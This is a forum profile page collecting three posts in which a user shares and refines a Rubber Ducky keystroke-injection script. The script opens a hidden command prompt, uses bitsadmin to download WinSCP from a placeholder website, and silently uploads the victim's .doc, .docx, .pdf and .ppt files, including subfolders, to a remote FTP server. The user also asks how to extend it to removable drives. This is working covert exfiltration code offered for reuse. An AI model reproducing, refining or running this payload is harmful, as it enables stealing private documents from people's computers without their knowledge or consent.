Jump to content

ebmar

Members
  • Posts

    4
  • Joined

  • Last visited

Recent Profile Visitors

479 profile views

ebmar's Achievements

Newbie

Newbie (1/14)

  1. I tried to make sense and modify the script so I can use it, but I'm not that good in scripting. When I run the command: wmic volume where "drivetype=2" get driveletter /format:table | findstr : I get the list of removable usb disc, but I don't know how to cd in to that drive using the information wmic gave me. It's usually only one removable device attached. On the other hand! I got the script working to copy all subfolders in Documents, but I found it easier and faster to make it only copy certain filetypes (if it would contain large movies etc.). wscript.exe invisible.vbs wget.bat REM Download WinSCP bitsadmin /Transfer JobName http://WEBSITE/WinSCP.exe "%userprofile%\WinSCP.exe" bitsadmin /Transfer JobName http://WEBSITE/WinSCP.com "%userprofile%\WinSCP.com" REM Upload documents in Documents cd %USERPROFILE%\documents "%USERPROFILE%\WinSCP.com" /command "option batch abort" "option confirm off" "open ftp://USER:PASSWORD@FTP_SERVER" "put *.doc" "close" "exit" "%USERPROFILE%\WinSCP.com" /command "option batch abort" "option confirm off" "open ftp://USER:PASSWORD@FTP_SERVER" "put *.docx" "close" "exit" "%USERPROFILE%\WinSCP.com" /command "option batch abort" "option confirm off" "open ftp://USER:PASSWORD@FTP_SERVER" "put *.pdf" "close" "exit" "%USERPROFILE%\WinSCP.com" /command "option batch abort" "option confirm off" "open ftp://USER:PASSWORD@FTP_SERVER" "put *.ppt" "close" "exit" "%USERPROFILE%\WinSCP.com" /command "option batch abort" "option confirm off" "open ftp://USER:PASSWORD@FTP_SERVER" "put *.pptx" "close" "exit" REM Upload documents in subdirs cd %USERPROFILE% "%USERPROFILE%\WinSCP.com" /command "option batch continue" "option include *.doc" "option confirm off" "open ftp://USER:PASSWORD@FTP_SERVER" "put documents" "close" "exit" "%USERPROFILE%\WinSCP.com" /command "option batch continue" "option include *.docx" "option confirm off" "open ftp://USER:PASSWORD@FTP_SERVER" "put documents" "close" "exit" "%USERPROFILE%\WinSCP.com" /command "option batch continue" "option include *.pdf" "option confirm off" "open ftp://USER:PASSWORD@FTP_SERVER" "put documents" "close" "exit" "%USERPROFILE%\WinSCP.com" /command "option batch continue" "option include *.ppt" "option confirm off" "open ftp://USER:PASSWORD@FTP_SERVER" "put documents" "close" "exit" "%USERPROFILE%\WinSCP.com" /command "option batch continue" "option include *.pptx" "option confirm off" "open ftp://USER:PASSWORD@FTP_SERVER" "put documents" "close" "exit" The other files are the same as of now.
  2. I have almost no experience scripting, and I'm pretty much a retard when it comes to scripting, but I found out how to upload a whole folder with WinSCP. This is my new invisible.bat bitsadmin /Transfer JobName http://WEBSITE/WinSCP.exe "%userprofile%\WinSCP.exe" bitsadmin /Transfer JobName http://WEBSITE/WinSCP.com "%userprofile%\WinSCP.com" "%USERPROFILE%\WinSCP.com" /command "option batch abort" "option confirm off" "open ftp://USERNAME:PASSWORD@FTP_SERVER" "put *documents" "close" "exit" I removed changing directory to documents, and changed WinSCP to just copy the whole documents directory. The problem with this is if the directory got a whole lot of large videos it would take a lot of time, meaning the computer must stay online over a long period of time. Does anybody know how to copy only certain files in a folder and all subfolders?
  3. Hi. Just bought the rubber ducky and I love this little gadget! I figured out how to copy files from just my documents (see codes below), but I have problem going through subfolders. I want to do this basically: Get a batch job to search My documents and all subfolders for file extension .docx, .doc etc. and upload them with WinSCP. Also I want it to search for removable usb drive and search for .docx in root and all subfolders. I searched a lot and all examples says that you have to know the drive name (not letter). I have no idea how to go from here. This is my script for hidden copy so far: Rubber ducky.txt: DELAY 200 GUI r DELAY 200 STRING cmd ENTER DELAY 200 STRING cd %USERPROFILE% ENTER STRING ftp -i IP_ADDRESS ENTER DELAY 200 STRING USERNAME ENTER STRING PASSWORD ENTER STRING GET invisible.bat ENTER DELAY 200 STRING GET invisible.vbs ENTER DELAY 200 STRING BYE ENTER DELAY 200 STRING wscript.exe invisible.vbs invisible.bat ENTER DELAY 200 STRING exit ENTER It takes rubber ducky about 6 sec from when you put it in to the computer until you unplug it to download the files and run them hidden. invisible.vbs CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False This to run the .bat as hidden. invisible.bat bitsadmin /Transfer JobName http://WEBSITE/WinSCP.exe "%userprofile%\WinSCP.exe" bitsadmin /Transfer JobName http://WEBSITE/WinSCP.com "%userprofile%\WinSCP.com" cd %USERPROFILE%\documents "%USERPROFILE%\WinSCP.com" /command "option batch abort" "option confirm off" "open ftp://USERNAME:PASSWORD@FTP_SERVER" "put *.doc" "close" "exit" "%USERPROFILE%\WinSCP.com" /command "option batch abort" "option confirm off" "open ftp://USERNAME:PASSWORD@FTP_SERVER" "put *.docx" "close" "exit" "%USERPROFILE%\WinSCP.com" /command "option batch abort" "option confirm off" "open ftp://USERNAME:PASSWORD@FTP_SERVER" "put *.pdf" "close" "exit" This script runs in the background. bitsadmin to download WinSCP, and WinSCP to upload files to a ftp server. If you find the above scripts useful feel free to redistribute it as you wish. And thanks in advance.
×
×
  • Create New...